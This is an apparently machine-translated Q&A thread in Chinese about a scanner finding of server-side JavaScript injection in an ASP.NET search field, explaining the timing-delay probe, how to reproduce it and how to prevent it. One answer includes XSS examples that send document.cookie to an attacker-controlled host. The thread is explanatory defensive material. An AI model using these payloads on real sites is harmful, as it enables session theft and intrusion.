我们正在开发的ASP.NET网站的安全扫描在用于搜索的输入字段上报告了以下内容:
“ctl00%24txtTopQckSearch参数似乎容易受到攻击 服务器端JavaScript代码注入攻击。提交的值 似乎被置于动态评估的JavaScript中 陈述,在单一上下文中。
有效负载'+(function(){if(typeof cb715 ===“undefined”){var a = new Date(); do {var b = new Date();} while(b-a< 20000); cb715 = 1;}}())+'was 在ctl00%24txtTopQckSearch参数中提交。应用程序 花了7641毫秒来响应请求,与5625相比 原始请求的毫秒数,表示已注入 JavaScript代码造成了时间延迟。
请注意,要使用,请手动重现此行为 报告请求,您将需要更改金丝雀的名称 变量,目前是cb715。“
我的问题是:
什么是“服务器端JavaScript代码注入”(与客户端注入-XSS相对)?
如何手动重新创建上述服务器端攻击?
如何预防?
谢谢!
答案 0 :(得分:3)
什么是#34;服务器端JavaScript代码注入" (与客户端注入-XSS相反)?
这是一个漏洞,允许攻击者在您的服务器上执行其JavaScript代码(而不是在某人的浏览器中)。
如何手动重新创建上述服务器端攻击?
报告引用txtTopQckSearch
控件,并表示它为该控件传递了值+(function(){if(typeof cb715==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<20000);cb715=1;}}())+
。
所以你可以尝试通过
重新创建它cb715
的两次出现更改为其他名称)如果扫描结果正确,则该请求所需的时间应略长于不使用该值的请求。
如何预防?
跟踪txtTopQckSearch
控件并确保通过该控件接收的值永远不会连接到服务器上执行的任何代码中。
我认为完全有可能这是一个红色的鲱鱼,并且由于您的服务器出现一些波动,请求只需要更长的时间(事实上&#34;安全&#34;请求页面花了> 5秒表明该页面可能存在一些性能问题)。
怀疑它是红鲱鱼的一个很好的理由是,如果在服务器发回响应之前该代码已经完成,那么响应时间的差异将是 20 秒到扫描观察到的2秒差异。
所以请调查一下这个控件是否存在任何可能的安全漏洞,如果没有,请暂时将其写下来作为误报。
答案 1 :(得分:2)
他们可以注入JavaScript代码。这是一个XSS漏洞。
如果您有此代码(不知道ASP抱歉):
<div><?php echo $_GET["foo"];?></div>
它会以foo
的形式打印您传递的任何内容。所以,如果你有人加载:
http://yoursite.com/index.php?foo=<script>document.location.href="http://mywebsite.com/?cookie=" + document.cookie</script>
我现在偷了他们的会话。它会注入一段JavaScript代码,用于读取cookie并将其发送到我的网站。
JavaScript直接存在类似的方法:
<script>var data = <?php echo $_GET["foo"];?>;</script>
现在,如果foo
的值类似于
"";document.location.href="http://mywebsite.com/?cookie=" + document.cookie`
我又偷了饼干。
避免XSS的方法是始终始终 始终转义不受信任的内容。在PHP中,函数是htmlspecialchars
(对于HTML)和json_encode
(对于JavaScript)。
他们通过注入需要很长时间才能执行的代码(创建20000个Date对象)并比较加载页面所需的时间来检测XSS漏洞。